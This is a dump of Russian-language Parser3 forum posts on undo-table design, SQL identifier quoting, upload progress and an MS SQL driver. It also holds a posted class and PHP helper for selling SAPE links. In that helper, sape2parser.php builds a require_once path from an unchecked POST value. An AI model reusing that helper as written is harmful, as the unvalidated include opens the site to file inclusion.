Из всех различных дат создания атрибутов (dt) нужного объекта [i](это, как бы, история изменений)[/i], выбирает одну нужную (по числу шагов отмены). А дальше выбираются атрибуты, для которых эта дата меньше или равна найденному значению. Результат сортируется по уменьшению даты, так что первым оказывается самое свежее значение.\
Сейчас смотрел на него внимательно и проверял в самой CMS - всё как надо."
"64365","Доброго времени суток,\
\
1. установил у себя код из [url=\"http://www.parser.ru/forum/?id=60214\"] примера [/url] и вставил в auto.p соответствующий код уважаемого Александра Петросяна. \
2. Поключил пхп, проверил работает ли sape_code.php (работает). \
3. На странице, где размещен код ничего не появляется (при тестировании  sape_code.php выдает [quot] <!--check code-->[/quot] если заглянуть в него через код страницы).\
4. На странице где должны появляться ссылки, где размещен [quot] ^usePHP[/sape_code.php?pageuri=$request:uri][/quot] пусто.\
\
Если у кого-то есть идеи почему не добавляет буду крайне признателен."
"64366","Если код sape.php и код адаптера (sape_code.php) работает, то в браузере по запросу \"/sape_code.php?pageuri=/\" видны ваши ссылки для страницы \"/\". Ну или проверочный код, если ссылки еще не установлены.\
\
Кстати, у меня есть парсерный класс, который поддерживает работу как со обычными ссылками, так и с гиперконтекстом. Он сейчас проверяется администрацией SAPE. Как убедятся в безопасности - выложу в открытый доступ."
"64367","Почему не разрешать редактировать свойства объектов все сразу?\
Откат состояния тоже делать на все свойства.\
\
Ну и разнести undo-таблицу и рабочую.\
\
Все задачи сильно упростятся."
"64368","Экономия места и времени. Да и просто удобно так, мне кажется...\
Поменял keywords у страницы - только его и записал.\
Если хранить свойства объектов \"все сразу\", то логично сделать таблицу, где в одной строке хранятся все свойства одного объекта. А у меня переменное количество свойств. Поэтому я сделал таблицу, где одна строка хранит одно свойство (во всех возможных типах данных)."
"64369","Она обернулась хитровывертами для извлечения нужных данных.\
\
«Самолёт не красивый — не полетит». ©"
"64370","К тому же, я действительно считаю, что хранить свойства объектов таким образом (в отдельной таблице, с составным индексом в виде имени свойства и id родительского объекта) - самый красивый и правильный способ. Пусть это и создает [b]небольшие[/b] сложности при добывании данных в административных целях. При запросе актуальных свойств (для генерации страницы сайта) нет никаких проблем. Всё быстро и удобно."
"64371","Я бы разнёс их.\
Было бы две таблицы.\
Каждый срез для undo — строка в архиве.\
\
Выдернуть — элементарно.\
Просмотреть архив, подчистить, лимитировать количество отмен — элементарно.\
При этом в рабочей таблице лежат только актуальные данные: сделай хоть миллион откатов это никак не скажется на производительности основных выборок.\
\
Меня раньше тоже тянуло на хитрые структуры.\
Потом пришёл к выводу, что оно только мешает."
"64372","по моему предлагаемые \"срезы\" не особо интересны в реальной жизни. к тому-же они -- избыточность на ровном месте (к слову в imp1 например если кто-то что-то правит у объекта, то реальные изменения данных и запись в лог информации о том, что что-то исправилось происходит лишь для реально изменяющихся блоков, и чаще всего такой блок один). кроме того, что это избыточность, на саомо деле возникают ещё дополнительные проблемы в случае изменения состава атрибутов (аттрибут -- динамическая сущность объекта, их может быть произвольное количество). решения безусловно есть (тупое в лоб: хранить в истории xml со всеми аттрибутами, это тупое решение подходит чтобы достать для админки данные на какое-то число, но не подходит если мы хотим реализовать более продвинутую версионность с preview на сайте), но... летающего (т.е. красивого) я пока не вижу (но я и не обдумывал этот путь).\
\
реальный срез можно получить достав данные на заданную дату. ничего страшного в этом нет (кроме того что надо разочек обдумать запрос)."
"64373","«Разностный» откат — это, конечно, хорошо, но в меру.\
К тому же речь шла не о блоках, а о свойствах.\
\
Понятно, что бэкапить десяток блоков, при изменении пути объекта — глупость.\
Я такого и не предлагал.\
\
Я исхожу из того, что свойства объекта постоянны и что откат касается исключительно свойств.\
Тогда, делая срез по всем свойствам, нет необходимости потом разбираться при откате.\
Достал и вставил. (Какая метафора получилась, а!)\
\
Ну а, если там бэкапится хитро — тут уж как не лень, хоть сериализовать в строку и пихать в блоб, некоторые такое любят, да."
"64375","С Наступившим! :)"
"64378","[quot]\
P.S. не зря я до сих пор не использую регистрозависимые имена в SQL, после того как разок обжегся на этом с oracle.\
[/quot]\
Не разобрался как следует, вот и не пользуешь :) в долбаном оракле, даже если пользовать регистронезависимые имена, есть проблема, - например нельзя использовать слово user для имени таблицы. Тут не знаешь где наступишь :). Короче надо просто принять тот факт, что любую сущность (таблицу, столбец и пр.) нужно экранировать в запросе, - т.е. вместо User -> \"User\" и т.д. В MS SQL это будет User -> [User].\
\
Да это нудно, но это сильно облегчает жизнь, особенно при использовании нескольких СУБД. Мы перешли на такой подход у себя в продукте, и избавились от множества проблем.\
\
PS: Для облегчения труда, написан дополнительный слой построения \"правильных\" SQL запросов, для каждого диалекта СУБД, т.е. бизнес логика выражает запрос в некой абстрактной форме (объектной модели), которую затем драйвер переводит в специфичный SQL диалект, с правильным экранированием и другими штуками."
"64384","Хочется отображать процесс загрузки файлов на сервер.\
Поиском нашел http://www.parser.ru/forum/?id=59071, но там тема не раскрыта. Возможно ли как-то узнать состояние файла в процессе загрузки? Может быть, не средствами Парсера, а каким-то скриптом?\
\
Я не против использовать для таких целей внешние скрипты на php, но соответствующий php-модуль находится в состоянии beta уже год, абсолютно не документирован и наотрез отказывается работать на Мастерхосте. Ищу альтернативу..."
"64385","http://digitarald.de/playground/uplooad.html\
\
http://swfupload.org/"
"64386","Сабж, ибо сайт на котором она выложена недоступен\
\
Если у кого есть, скиньте пожалуйста на dev[at]skam[dot]name"
"64388","Спасибо, тема закрыта"
"64389","Рулез, рулез... Только это не выход.\
Я не хотел бы flash прикручивать, т.к. есть проблемы с браузерами под Линукс, да и просто - лишняя деталь. Хотелось бы решить вопрос только запросом к серверу."
"64390","И ПХП и АСП... как вы их освоили если документацию на РУССКОМ ЯЗЫКЕ не можете прочитать?"
"64391","btw: а в дистрибутиве обновлены xml библиотеки и gc.dll? и какая в нём версия клиентской библиотеки mysql?"
"64394","Говорит, \
: C:/Program Files/Parser/works/prog1.p3(5:2): 'sections.p' usage failed - no $MAIN:CLASS_PATH were specified [parser.runtime], \
\
хотя sections.p находится в той же директории, что и вызывающий файл prog1.p3. \
\
Особенно обидно, что на другом компьютере в другой части города у меня то же самое работает (и sections.p, и prog1.p3 скопированы оттуда). \
\
Хотелось бы понять логику происходящего и обойтись малой кровью. 1) Обязан лия объявлять CLASS_PATH, если файл с вызываемым классом находится в той же директории, что и файл с вызывающим кодом?"
"64395","чтобы, если обязан, то объявление было минимальным?"
"64397","Все компоненты скачаны с parser.ru.\
libxml2.dll - 503296 байт\
gc.dll - 73728 байт\
libmySQL.dll - 2035712 байт"
"64400","Способов сделать это по Apache я нашел аж целых 2:\
на основе [url=\"http://pecl.php.net/package/uploadprogress\"]uploadprogress.so[/url] и на основе [url=\"http://viewcvs.php.net/viewvc.cgi/pecl/apc/\"]apc[/url].\
Это модули для php. На виртуальном хостинге установить сложно (у меня установился uploadprogress, но работать не захотел).\
\
Есть способ сделать [url=\"http://wiki.codemongers.com/NginxHttpUploadProgressModule\"]индикатор загрузки под Nginx[/url], но для меня это не актуально.\
\
Возможно есть и другие. Если встретятся, пишите...\
\
[b]Минусов[/b] у них два: нужно что-то ставить на сервере (в случае с apache - что-то очень хитрое и глючное);\
частые запросы статуса создают дополнительную нагрузку на сервер.\
\
Главный [b]плюс[/b] - работают с любым клиентом."
"64401","Заранее спасибо."
"64402","Вот простенький класс для работы с SAPE. Примеры в описании функций.\
\
\
[code]##########################################################################\
# Класс для работы со скриптами SAPE (http://www.sape.ru)\
# Версия 0.1 - 22.11.2007\
#\
# (c) StopDesign - http://forum.sape.ru/member.php?u=2245\
#\
# Тестировал с PHP-клиентом SAPE версий\
# 1.0.0 от 18.12.2007 (c поддержкой гиперконтекста)\
# 0.9.2 от 05.12.2007 (без гиперконтекста)\
##########################################################################\
\
\
\
##########################################################################\
@CLASS\
sape\
##########################################################################\
\
\
\
##########################################################################\
# Инициализация\
#\
# user    - Обязательный параметр. Ваш хэш код в SAPE.\
#\
# uri     - URI страницы, для которой нужно вывести ссылки\
#           предполагается, что uri уже обработан для защиты от\
#           скриптов, определяющих продажные ссылки\
#           (отрезаны лишние параметры,\
#           \"/index.html\" заменен на \"/\" и т.д.).\
#           По умолчанию - $request:uri.\
#\
# timeout - Время ожидания ответа от скрипта sape2parser.\
#           Операция загрузки должна быть завершена за это время,\
#           иначе страница выводится в исходном виде, без ссылок.\
#           По умолчанию 2 секунды.\
#\
# params  - Хеш параметров, которые будут переданы в классы SAPE\
#           Можно, например, принудительно указать кодировку:\
#           $.request_uri[windows-1251]\
#           Подробности - в справке к sape.php на их сайте\
#\
#\
# Простой пример инициализации:\
#\
# @auto[]\
# $sape[^sape::create[Ваш_хэш_код]]\
#\
#\
# Пример инициализации с параметрами и защитой\
# от скриптов, определяющих продажные ссылки:\
#\
# @auto[][uri;hParam]\
# ^rem{ отрезать все параметры от url }\
# $uri[^request:uri.match[\\?.*][]{}]\
# $hParam[\
# 	$.debug[true] ^rem{ режим отладки }\
# ]\
# $sape[^sape::create[Ваш_хэш_код;$uri;3;$hParam]]\
#\
@create[user;uri;timeout;params]\
\
^if(!def $user || $user eq ''){\
	^throw[bad_sape_user;bad_user_hash]\
}\
\
$hSapeParams[^if(def $params && $params is hash){$params}{^hash::create[]}]\
$hSapeParams.sape_user[$user]\
$hSapeParams.request_uri[^if(def $uri){$uri}{$request:uri}]\
\
$sSape2ParserPath[http://$env:HTTP_HOST/$user/sape2parser.php]\
\
$iHttpTimeout(^timeout.int(2))\
\
$iCurrentOffset(0)\
##########################################################################\
\
\
\
##########################################################################\
# replace_in_text_segment[sText]\
# аналог функции replace_in_text_segment класса SAPE_context\
#\
# Пример использования:\
#\
# @main[]\
# <p>тут я не буду продавать ссылки</p>\
# <p>^sape.replace_in_text_segment[а в этом тексте ссылки будут продаваться]</p>\
#\
@replace_in_text_segment[sText][param;sape_text]\
^try{\
	$param[^hash::create[$self.hSapeParams]]\
	$param.action[text]\
	$param.text[$sText]\
	$param.sape_cookie[$cookie:sape_cookie]\
	$param.sape_debug[$cookie:sape_debug]\
\
	$sape_text[^file::load[text][$self.sSape2ParserPath][\
		$.timeout($self.iHttpTimeout)\
		$.method[POST]\
		$.form[$param]\
	]]\
	\
	$result[^untaint{$sape_text.text}]\
}{\
	$exception.handled(true)\
	$result[]\
}\
##########################################################################\
\
\
\
##########################################################################\
# replace_in_page[sText]\
# Аналог функции replace_in_page класса SAPE_context\
#\
# В коде страници необходимо тегами <sape_index> ограничить текст,\
# в пределах котогого будут продаваться ссылки.\
#\
# Для использования удобнее всего переопределить postprocess:\
#\
# @postprocess[body]\
# ^if($body is string){\
# 	$result[^sape.replace_in_page[$body]]\
# }{\
#   $result[$body]\
# }\
#\
@replace_in_page[sText][param;sape_text;cut]\
^try{\
	$param[^hash::create[$self.hSapeParams]]\
	$param.action[page]\
	$param.text[$sText]\
	$param.sape_cookie[$cookie:sape_cookie]\
	$param.sape_debug[$cookie:sape_debug]\
\
	$sape_text[^file::load[text][$self.sSape2ParserPath][\
		$.timeout($self.iHttpTimeout)\
		$.method[POST]\
		$.form[$param]\
	]]\
	\
	$result[^untaint{$sape_text.text}]\
}{\
	$exception.handled(true)\
	^rem{ были ошибки, выводим немодифицированный текст }\
	^rem{ только убираем теги <sape_index> }\
	$cut[^table::create[nameless]{<sape_index>	\
</sape_index>	}]\
	$result[^sText.replace[$cut]]\
}\
##########################################################################\
\
\
\
##########################################################################\
# return_links[nCount]\
# Аналогично функции SAPE_client::return_links()\
# Если подряд идут несколько ссылок, то между ними выводится разделитель,\
# указанный в настройках SAPE на сайте\
#\
# Пример использования:\
#\
# @main[]\
# ^sape.return_links[2] ^rem{ выводит первые две ссылки }\
# ^sape.return_links[]  ^rem{ выводит все оставшиеся ссылки }\
#\
@return_links[nCount][param;sape_links]\
^try{\
	$param[^hash::create[$self.hSapeParams]]\
	$param.action[link]\
	\
	^rem{ вывод ссылок по частям }\
	^rem{ $iCurrentOffset - сколько ссылок уже выведено }\
	^if(def $nCount && ^nCount.int(0) > 0){\
	  $param.count($self.iCurrentOffset+^nCount.int(0))\
	  $param.offset[$self.iCurrentOffset]\
	  ^self.iCurrentOffset.inc(^nCount.int(0))\
	}{\
	  $param.count[0]\
	  $param.offset[$self.iCurrentOffset]\
	  ^self.iCurrentOffset.inc(999999)\
	}\
	\
	$sape_links[^file::load[text][$self.sSape2ParserPath][\
		$.timeout($self.iHttpTimeout)\
		$.method[POST]\
		$.form[$param]\
	]]\
	\
	$result[^untaint{$sape_links.text}]\
}{\
	$exception.handled(true)\
	$result[]\
}\
##########################################################################\
\
\
\
##########################################################################\
# return_links_table[]\
# Возвращает таблицу с одной колонкой piece\
# Там лежат ссылки без разделителя!!!\
# Разделитель указывается в настройках SAPE на сайте.\
# Растоятельно рекомендую указывать разделитель,\
# который не может встретиться в тексте и коде ссылки!\
# Хороший разделитель \"<br>\"\
#\
# Пример использования:\
#\
# @main[]\
# $links[^sape.return_links_table[]]\
# ^if(^links.count[] > 0){\
#   <h1>Продажные ссылки:</h1>\
#	  <ul>\
#	    ^links.menu{ <li>$links.piece</li> }\
#	  </ul>\
# }\
#\
@return_links_table[][links;delimiter]\
$delimiter[^self._delimiter[]]\
$links[^self.return_links[]]\
$result[^links.split[$delimiter;lv]]\
##########################################################################\
\
\
\
##########################################################################\
# служебная функция\
# получает разделитель у скрипта SAPE\
@_delimiter[]\
^try{\
	$param[^hash::create[$self.hSapeParams]]\
	$param.action[delimiter]\
	\
	$sape_links[^file::load[text][$self.sSape2ParserPath][\
		$.timeout($self.iHttpTimeout)\
		$.method[POST]\
		$.form[$param]\
	]]\
	\
	$result[^untaint{$sape_links.text}]\
}{\
	$exception.handled(true)\
	$result[]\
}\
##########################################################################[/code]\
\
\
Файл sape2parser.php (сохраните в \"секретной\" директории)\
\
[code]<?\
##########################################################################\
# Довесок к парсерному классу для работы со скриптами SAPE\
# Версия 0.1 - 22.11.2007\
#\
# (c) StopDesign - http://forum.sape.ru/member.php?u=2245\
##########################################################################\
\
\
# SAPE user hash\
define('_SAPE_USER', isset($_POST['sape_user']) ? $_POST['sape_user'] : '');\
\
# Список параметров инициализации классов SAPE, которые передаются в sape.php\
# Передаю по списку, чтобы не закинуть туда чего-нибудь лишнее...\
$param = array('version',\
							 'verbose',\
							 'charset',\
							 'server_list',\
							 'cache_lifetime',\
							 'cache_reloadtime',\
							 'error',\
							 'host',\
							 'request_uri',\
							 'multi_site',\
							 'fetch_remote_type',\
							 'socket_timeout',\
							 'force_show_code',\
							 'is_our_bot',\
							 'debug',\
							 'db_file');\
\
$o = array();\
foreach($param as $name) {\
	if(isset($_POST[$name])){ $o[$name] = $_POST[$name]; }\
}\
\
# Кукисы\
$_COOKIE['sape_cookie'] = isset($_POST['sape_cookie']) ? $_POST['sape_cookie'] : '';\
$_COOKIE['sape_debug']  = isset($_POST['sape_debug'])  ? $_POST['sape_debug']  : '';\
\
require_once($_SERVER['DOCUMENT_ROOT'].'/'._SAPE_USER.'/sape.php');\
\
# контекст или ссылки или еще что...\
$action = isset($_POST['action']) ? $_POST['action'] : '';\
$text = isset($_POST['text']) ? stripslashes($_POST['text']) : '';\
switch ($action) {\
	case 'page':\
		$sape_context = new SAPE_context($o);\
		# функция контекста принимает в качестве параметра\
		# весь код страницы и возвращает обработанную версию\
		echo $sape_context->replace_in_page($text);\
    break;\
	case 'text':\
		$sape_context = new SAPE_context($o);\
		# функция контекста принимает в качестве параметра\
		# кусок текста (без тэгов <sape_index>) и возвращает обработанную версию\
		echo $sape_context->replace_in_text_segment($text);\
    break;\
	case 'link':\
		$sape_client = new SAPE_client($o);\
		# возвращает блок ссылок\
		$count = ( isset($_POST['count']) && $_POST['count'] > 0 ) ? $_POST['count'] : null;\
		$offset = ( isset($_POST['offset']) && $_POST['offset'] > 0 ) ? $_POST['offset'] : 0;\
		echo $sape_client->return_links($count, $offset);\
    break;\
	case 'delimiter':\
    $sape_client = new SAPE_client($o);\
    echo $sape_client->_links_delimiter;\
    break;\
}\
	\
\
?>[/code]\
\
\
Простейший пример:\
\
[code]@USE\
sape.p\
\
\
@auto[]\
$sape[^sape::create[ВАШ_ХЭШ_КОД]]\
\
\
@main[]\
<p>Тут я не буду продавать никаких ссылок.</p>\
<p>^sape.replace_in_text_segment[А в этом тексте контекстные ссылки будут продаваться.]</p>\
\
<h2>А это обычные рекламные ссылки:</h2>\
^sape.return_links[][/code]\
\
\
Всё кучей можно скачать тут: http://www.stopdesign.ru/sape.zip"
"64404","разделю свой ответ на 3 части: первая по сути вопроса, вторая -- по поводу экранирования имён таблиц в запросах и третья -- теоретическая демагогия, которую многоуважаемый egr так любит.\
\
1. вообще-то речь шла про имена столбцов. с тем, что их имена при отдаче клиенту сервер как-то модифицирует я встречался только у оракла старой версии (8.0x, как у новой -- не знаю, возможно и у старой это задаётся настройками). ни один другой сервер ничего подобного в моей практике никогда не делал. причем модифицирование касалось только изменение регистра возвращаемого имени. с проблемами из-за совпадения [b]имени столбца[/b] с зарезервированым словом я никогда не встречался. заключать названия столбцов в escape-символы конечно можно, но на практике-то это зачем?\
\
2. утверждать что кто-то не разобрался, не имея на то веских оснований -- в моём мировозрении не есть хорошо.\
\
если говорить о том, что по хорошему имена таблиц в запросах надо заключать в спец символы, то лично я в этом разобрался ещё году в 2002. более того, я попробовал два варианта обхода этого неудобства (1. название таблиц auser и asession появилось не просто так; 2. в одном из классов использую таблицу resource, которая при составлении запросов обрамляется символами '\"' в случае oracle и символами '`' в случае mysql (или '\"' в случае mysql strict). да, вариант с объектной моделью я не использовал, но об этом -- в пункте 3). через некоторое время я почти полностью отказался от реализации с использованием escape-символа в пользу выбора не запрещенного имени таблицы. причина проста -- escape-символы добавляют кучу дополнительной головной боли (кода) без каких-либо плюсов. \
\
однако замечу: у меня никогда не стояла задача в создании приложения, работающего с любым SQL сервером или с определённым набором SQL серверов. задача всегда ставилась иначе: написать код, который [b]при необходимости несложно перенести[/b] на другой SQL сервер. причина этого понятна: подавляющее большинство наших заказчиков не имели собственных SQL серверов (а если имели, то частенько не имели администраторов), а наш выбор -- mysql, в том числе по причине высокой скорости на выборках (мы же помним, что пока говорим про веб приложения, которые в большинстве своём достаточно просты с точки зрения БД и работают в основном на выборку данных, но это я отвлёкся).\
\
создать приложение, эффективно работающее на абсолютно произвольном sql сервере считаю почти неразрешимой задачей, т.к. в конечном счёте найдётся сервер, который не знает чего-либо, и придётся достаточно кардинально менять приложение, т.к. существующей абстракции в созданной абстрактной модели будет недостаточно. поэтому правильнее говорить о написании приложения для перечисленного списка серверов (с номерами версий, MySQL 3 совсем не то-же самое, что MySQL 5, а Oracle 8 -- не тоже самое что Oracle 10). для ограниченного списка серверов совсем не сложно заранее учесть список зарезервированных слов или обойти его, например простым добавлением префикса в имя таблицы или... и тут мы переходим к третьей части марлезонского балета...\
\
3. теория это одно, практика -- совершенно другое. и они очень далеки друг от друга. если инженер для того, чтобы закрутить одну гайку предлагает сначала разработать и внедрить линию сборки -- я считаю что с этим инженером что-то не то. зазанее, из благородных целей разработать и создать предлагаемый абстрактный класс, а потом заниматься его поддержкой -- считаю пустой тратой времени. для простых случаев время его создания превысит время переписывания кода для адаптации к новым условиям.\
\
да, я знаю что написаны кучи умных книг, в которых теоретически обосновывают кучу всего, и в подавляющем большинстве случаев они логичны, но... они не подходят для всех случаев жизни. да вообще нет теорий, идеальных для всех случаев жизни. никто не использует ОТО там, где хватает точности Ньютоновской механики. не считаю оправданным написание абстрактной объектной SQL модели в качестве прослойки для гостевой книги, где всего имеется 4 sql запроса.\
\
я не утверждаю что теория -- отстой. нет, она -- ориентир, она -- идеал, который нужно знать (чтобы её части использовать в нужных местах) и к которому безусловно нужно стремиться. возвращаясь к программированию: я не уверен что существует большое количество реально работающего и используемого кода, который написан вообще без нарушений красивых теорий.\
\
я думаю ты без труда сможешь найти вагон и маленькую тележку непоколебимых принципов, которые я нарушаю, в том числе своей этой демагогией. я же ориентируюсь в основном на один: принцип Окама (\"не плоди сущностей без необходимости\"). \
\
когда будешь искать список нарушенных теорий не забывай про изречение Леонардо да Винчи: \"Кто спорит, ссылаясь на авторитет, тот применяет не свой ум, а скорее память\".\
\
P.S. дискутировать тут можно бесконечно. если хочешь -- продолжай, но я отвечать на это не буду."
"64405","Пользую Мишин класс, но мне даже половины его возможностей не надо, все что мне требуется знать о пользователе это лог ин или лог оут, а роли и контроль прав меня пока не интересуют.\
\
Так вот хотелось бы просто посмотреть как работает ваш вариант. Из того что написано в pfAuthBase.p складывается ощущение что ни один из параметров инициализации не является обязательным и \
[code]$auth[^pfAuthBase::create[]][/code] \
вполне должен работать, но какой метод авторизации будет использован, какой источник хранения информации?"
"64406","... и для него не требуется никаких параметров, но он и не делает никаких действий.\
\
Вот пример кода инициализации всей системы на сайте oleg.volchkov.net:\
[code]\
@USE\
pf/sql/pfMySQL.p\
pf/auth/pfAuthCookie.p\
pf/auth/pfAuthSecurity.p\
\
# Подключаем контроллеры\
ovnManager.p\
Auth/ovnAuthStorage.p\
\
@main[]\
\
   $csql[^pfMySQL::create[mysql://ovn:**************@[/tmp/mysql.sock]/ovn]]\
\
   $authStorage[^ovnAuthStorage::create[$.sql[$csql]]]\
   $authSecurity[^pfAuthSecurity::create[$.storage[$authStorage]]]\
   $auth[^pfAuthCookie::create[$.storage[$authStorage] $.security[$authSecurity]]]\
\
   $ovnSite[^ovnManager::create[\
       $.sql[$csql]\
       $.auth[$auth]\
       $.templetOptions[\
         $.templateFolder[/../app/views/]\
       ]\
   ]]\
   ^ovnSite.run[]\
[/code]\
\
Здесь используется авторизация на основе cookie, которая берет данные из БД. Файл со структурой таблиц есть в дистрибутиве. :)\
\
Класс Auth/ovnAuthStorage.p просто банальный наследник pfAuthDBStorage, который ничего не добавляет в основной класс (можно заменить на его вызов в коде)."
"64407","исключительно по коду:\
\
1. этот кусок кода:\
[code]\
	$sape_text[^file::load[text][$self.sSape2ParserPath][\
		$.timeout($self.iHttpTimeout)\
		$.method[POST]\
		$.form[$param]\
	]]\
	\
	$result[^untaint{$sape_text.text}]\
[/code]\
\
так и просится в отдельный метод. к тому-же имя переменной sape_text мне кажется неудачным, и я бы использовал ^taint[as-is][] вместо ^untaint{} (результат в данном случае будет один, но _теоретически_ taint должен быть побыстрее, т.к. он не занимается поиском кусочков в тексте на языке \"грязный но неизвестный\" чтобы покрасить их в as-is, а сразу неглядя красит)\
\
\
2. !def $user и $user eq '' -- одно и то-же, можно оставить только !def\
\
3. $hSapeParams[^if(def $params && $params is hash){$params}{^hash::create[]}]\
вообще-то лучше создать копию переданного хеша. в вашем случае входной хеш изменяется (сделайте ему foreach после вызова конструктора). возможно в вашем случае это не критично, но всё таки."
"64408","1. \"заключать названия столбцов в escape-символы конечно можно, но на практике-то это зачем?\" именно на практике и заключаем - и довольны и работает так как надо. Тут все просто - чем формальней, тем лучше. А формализм говорит - все сущности надо экранировать чтобы не было проблем. Правда для этого нужна некая автоматизация, которая и была сделана. Кстати похожий подход и в Hibernate если что. Поэтому я и говорил что ты не разобрался (поленился) до конца с экранированием. И я сталкивался на практике с именем столбца, которое совпадало с зарезервированным именем, - пример с юзер не из пальца высосан.\
\
2. \"однако замечу: у меня никогда не стояла задача в создании приложения, работающего с любым SQL сервером или с определённым набором SQL серверов\"\
\
Именно такая задача и стоит. И все работает (пока), правда размеры баз у нас не самые большие гигабайт эдак на 10 и миллионов 20 строк, но это на самом обычном железе. На более мощных серверах можно и побольше выжать.\
\
3. \"создать приложение, эффективно работающее на абсолютно произвольном sql сервере считаю почти неразрешимой задачей\" все решаемо, просто придется значительную часть этих самых уникальных фич СУБД написать самому а использовать сами БД, просто как тупое хранилище, с селектами да ещё кое чем. Тут все определяется задачей и целесообразностью.\
\
PS: Про теорию нихрена не понял, да и не теоретизировал я, а говорил про практический опыт."
"64409","[quot]\
пример с юзер не из пальца высосан.\
[/quot]\
\
если не сложно: назови название и версию SQL сервера, где нельзя использовать слово user в качестве названия столбца без использования эскейп символов."
"64412","Нельзя без экранирования использовать Uid для имени столбца. У нас было такое имя. Кстати а может и пример с user корректен только для имени таблицы а не столбца, я точно не помню, завтра проверю, но Uid точно для столба без экранирования не катит"
"64413","Народ, - кому надо вместо ODBC?\
\
Уже почти готов. Примечания:\
\
1. Нет транзакций \"по-умолчанию\", т.е. неявных транзакций на каждый запрос, которые делает, например ODBC драйвер. Не сделал потому что считаю пользователь сам может их делать (если ему нужно), используя BEGIN TRAN, COMMIT TRAN, ROLLBACK\
2. Можно выполнять хранимые процедуры и получать результаты и в виде скаляра(int, double string etc) и в виде таблицы.\
3. Пока не поддерживается binding параметров (параметризованные запросы)\
4. Поддерживается и Windows Integrated security и SQL Server security\
5. Пока не сделана нормально поддержка $request:charset и $response:charset отличных от UTF-8, - это выражается в том, что все ваши файлы должны быть в кодировке UTF-8\
\
Сейчас пытаюсь сделать \"нормальный\" limit (через TOP) и offset. Возможно offset не получится, так как нужно. В ODBC это сделано крайне неэффективно ежели чего, и нужно рулить запросом самому а не с использованием парсерных limit и offset\
\
ЗЫ: Скоро будет готов. Жду желающих потестить"
"64414","Годика два назад бы пригодился. Впрочем, может пригодится через три месяца, если мне потребуется писать на коленке одну интранетную штуковину (наверное, потребуется). Проще попросить IT-шников дать доступ к большому MS SQL серваку (бэкапы и поддержание которого - не моя головная боль), чем плясать с бубном вокруг личного MySQL.\
\
Так что попользуюсь с благодарностью.\
\
По пунктам:\
1. Правильно, разделяю мнение.\
3. Не знаю, надо ли оно мне.\
4. Мне пофиг, с SQL Server security, впрочем, жить проще. Тем лучше, что будет безразлично, как настроен сервер БД.\
5. Можно пережить.\
\"В ODBC это сделано крайне неэффективно\" - это мягко говоря."
"64415","И все таки с Windows Integrated и проще, и лучше в смысле безопасности - не надо пароль хранить в auto.p\
\
В принципе, доступ к базе настраивается одинаково и для встроенных аккаунтов и для аккаунтов из Windows, а вот то, что управление аккаунтами ведется в одном месте (AD, NT Domain, Local SAM), очень все упрощает. Необходимо только разобраться с учетной записью процесса parser3.exe, т.е. нельзя пускать его под Local System."
"64416","После выборки проставлять CDATA у необходимых полей и для некоторых я еще удаляю теги, а еще подумываю кодом заменять \\n на <br/>"
"64417","Ни имя [b]user[/b], ни имя [b]Uid[/b] нельзя в оракле использовать ни для имени столбца, ни для имени таблицы (без экранирования разумеется). Так что без экранирования не знаешь где наступишь при использовании широко распространенных слов и аббревиатур в качестве имен сущностей. Причем для каждой СУБД правила свои."
"64418","Вот как раз пишу один проект к MS SQL\
ругаюсь на ODBC"
"64421","Есть метод создания таблицы с несколькими колонками: \
\
[code]\
@goodsInColumns[table;cols;text]\
<tr> \
	^table.menu{\
		$width[^eval(100\\$cols + (^table.offset[] % $cols < 100 % $cols))%]\
		<td valign=\"top\"^if(^table.offset[] < $cols){ width=\"$width\"}> $text </td> \
		^if(!(^table.line[] % $cols) && ^table.line[] < $table){</tr> <tr> }\
	}\
	^if($table % $cols){\
		^for[i](1;$cols - $table % $cols){<td width=\"$width\"></td> }\
	}\
</tr> \
[/code]\
\
При задании 3 колонок получается например так: \
\
[code]\
<table>\
	<tr>\
		<td>$text</td>\
		<td>$text</td>\
		<td>$text</td>\
	</tr>\
	...\
</table>\
[/code]\
\
Подскажите, пожалуйста, как переделать метод, чтобы выстраивалась таблица такая:\
\
[code]\
@goodsInColumns[table;cols;img;text]\
[/code]\
\
[code]\
<table>\
	<tr>\
		<td>$img</td>\
		<td>$img</td>\
		<td>$img</td>\
	</tr>\
	<tr>\
		<td>$text</td>\
		<td>$text</td>\
		<td>$text</td>\
	</tr>\
	<tr>\
		<td>$img</td>\
		<td>$img</td>\
		<td>$img</td>\
	</tr>\
	<tr>\
		<td>$text</td>\
		<td>$text</td>\
		<td>$text</td>\
	</tr>\
	...\
</table>\
[/code]\
\
Спасибо."
"64423","Без кода, просто словами: что у вас есть, как оно выводится и как можно получить то, что хотите."
"64424","А в остальном я не понял вопроса, что мне нужно добавить к предыдущему посту."
"64426","Обычную таблицу (парсера) можно напечатать в виде html примерно так:\
\
[code]@printTable[table]\
\
$tCols[^table.columns[]]\
<table>\
<thead><tr>\
  ^tCols.menu{<td>$tCols.column</td>}\
</tr></thead>\
<tbody>\
^table.menu{\
  <tr>\
  ^tCols.menu{<td>$table.[$tCols.column]</td>}\
  </tr>\
}\
</tbody>\
\
</table>[/code]\
\
При необходимости можно модифицировать под свои нужды, в частности количество столбцов получается из ^tCols.count[]\
\
Но у вас налицо дополнительные заморочки в виде переданных cols и text - что они собой представляют и зачем они я не знаю."
"64428","Мне нужно вывести данные из бд в виде таблицы. Сколько будет строк - неизвестно. Поэтому таблица должна разбиваться на строки автоматически, при этом задается конкретно количество столбцов (cols).\
\
Выводится это так:\
[code]\
$cols(3)\
^goodsInColumns[$data]($cols){$data.text}\
[/code]\
$data - это данные из бд."
"64429","Я не спрашивал знаете или нет.\
\
Я просил рассказать: [i]что у вас есть, как оно выводится и как можно получить то, что хотите[/i].\
\
Если предположить примерный вид тех данных, которые вы хотите выводить — ваша задача элементарна.\
Вам, всего лишь, нужно досконально разобраться в вашем коде выдачи.\
После чего модифицировать небольшой кусочек.\
\
А это три действия:\
1. Изменить вывод данных одной таблицы.\
2. Связать данные второй таблицы с ключом первой.\
3. Дополнить вывод данными второй таблицы.\
\
Мы бы не были тут теми садистами, каковыми являемся, если бы написали код за вас.\
Дерзайте."
"64430","Зачем предполагать вид данных? Какая разница какой вид? Данные здесь - таблица. Одна! Связывать что-то нет никакой необходимости. Вопрос в том, как построить html таблицу определенного вида. Пример:\
\
[code]\
$data[^table::create{name	age\
Вова	27 \
Леша	22\
Вася	24\
Антон	67\
Павлик	99\
}] \
\
<table>\
	^goodsInColumns[$data]($cols){$data.name ($data.age)}\
</table>\
\
@goodsInColumns[table;cols;text]\
<tr> \
	^table.menu{\
